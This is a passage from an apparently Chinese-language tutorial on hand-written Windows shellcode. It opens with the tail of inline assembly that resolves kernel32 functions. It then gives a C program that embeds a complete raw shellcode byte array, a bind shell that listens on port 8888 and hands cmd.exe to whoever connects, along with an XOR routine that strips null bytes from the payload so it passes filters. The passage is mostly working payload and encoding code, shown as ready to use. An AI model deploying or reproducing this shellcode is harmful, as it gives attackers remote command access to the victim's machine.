// push [ebp - 0x4]; // 传入dllBase kernel32或者kernelbase
push [ebp - 0x18]; // 这就是确切的kernel32
call fun_GetProcAddr; // 获取函数的地址
push 0;
call eax; // 调用ExitProcess
pop ecx; // 还原用到的寄存器环境
pop ebx;
pop edx;
pop edi;
pop esi;
mov esp, ebp; // 还原栈顶
pop ebp; // 还原栈底
retn 0x4; // pop eip + 堆栈内平衡
};
}
int main() {
printf("hello 51hook");
shellCode();
return 0;
}
shellcode加解密
#include <Windows.h>
#include <iostream>
char shellcode[] = "\x55\x8B\xEC\x83\xEC\x30\x3E\xC6\x45\xFF\x00\xC7\x45\xFB\x2E\x64\x6C\x6C\xC7\x45\xF7\x65\x6C\x33\x32\xC7\x45\xF3\x6B\x65\x72\x6E\xC7\x45\xEF\x65\x78\x65\x00\xC7\x45\xEB\x63\x6D\x64\x2E\xC6\x45\xEA\x00\x66\xC7\x45\xE8\x6C\x6C\xC7\x45\xE4\x33\x32\x2E\x64\xC7\x45\xE0\x77\x73\x32\x5F\x8B\xCC\x8D\x49\x10\x51\xE8\xDA\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x16\x8B\x7E\x1C\x8D\x3C\x17\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x17\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x17\x89\x7D\xF4\xFC\x33\xC0\x33\xDB\xEB\x01\x43\x8B\x75\xF8\x8B\x34\x9E\x8B\x55\x08\x8D\x34\x16\x8B\x7D\x0C\x56\xE8\x24\x00\x00\x00\x3B\xF8\x75\xE6\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x5E\x8B\x5D\xFC\x8B\x1C\xBB\x8B\x55\x08\x8D\x04\x1A\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\x51\x52\x53\x57\x56\xC7\x45\xFC\x00\x00\x00\x00\x33\xC9\x8B\x75\x08\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE1\x8B\x45\xFC\x5E\x5F\x5B\x5A\x59\x8B\xE5\x5D\xC2\x04\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xE8\x18\xFF\xFF\xFF\x68\x32\x74\x91\x0C\x50\xE8\x2D\xFF\xFF\xFF\x89\x45\xFC\x8B\x4D\x08\x51\xFF\x55\xFC\x89\x45\xF8\x8B\x4D\x08\x8D\x49\x13\x51\xFF\x55\xFC\x89\x45\xF4\x68\x3D\x6A\xB4\x80\xFF\x75\xF8\xE8\x06\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x68\x2D\x32\x78\xDE\xFF\x75\xF8\xE8\xEB\xFE\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xF0\x68\x64\x10\xA7\xDD\xFF\x75\xF8\xE8\xCD\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x22\xB8\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x6A\x10\x8D\xB5\x00\xFE\xFF\xFF\x56\xFF\x75\xF0\xFF\xD0\x68\x0C\x9F\xD3\x4B\xFF\x75\xF8\xE8\x96\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xF0\xFF\xD0\x68\xB1\x1E\x97\x01\xFF\x75\xF8\xE8\x7F\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xF0\xFF\xD0\x89\x45\xF0\x8D\xBD\x70\xFF\xFF\xFF\x33\xC0\xB9\x11\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xF0\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x68\xC9\xBC\xA6\x6B\xFF\x75\xF4\xE8\x33\xFE\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8D\xB5\x70\xFF\xFF\xFF\x8B\x4D\x08\x8D\x49\x0B\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x51\x6A\x00\xFF\xD0\x8B\xE5\x5D\xC2\x04\x00";
int shelllen = 0x26A;
BOOL EncodeShellCode(char shellcode[],int nsize) {
INT nkey = 0;
BOOL isSuccess = TRUE;
UCHAR* enCodeBuff = new UCHAR[nsize];
for (UCHAR key = 0; key < 0xff; key++) { // 遍历key
isSuccess = TRUE;
nkey = key;
// 遍历shellcode
for (int i = 0; i < nsize; i++) {
enCodeBuff[i] = shellcode[i] ^ key;
if (enCodeBuff[i] == 0) { // 那么就证明当前这个key不能用
isSuccess = FALSE;
break;
}
}
if (isSuccess) { // 证明这个keyd 一个0都不会产生
break;
}
}
if (!isSuccess) {
return FALSE;
}
FILE* fp;
fopen_s(&fp, "encodeShellcode.txt", "w+");
fprintf(fp, "key===0x%0.2X\n", nkey);
fprintf(fp, "shellcode[]:\n\"", nkey);
for (int i = 0; i < nsize; i++)
{
fprintf(fp, "\\x%0.2X", enCodeBuff[i]);
if ((i + 1) % 12 == 0)
fprintf(fp, "\" \\ \n\"");
}
fprintf(fp, "\"");
fclose(fp);
delete[] enCodeBuff;
return TRUE;
}
int main() {
EncodeShellCode(shellcode, shelllen);
return 0;
}
0x400000 call 0x400004
0x400005 retn
pop eax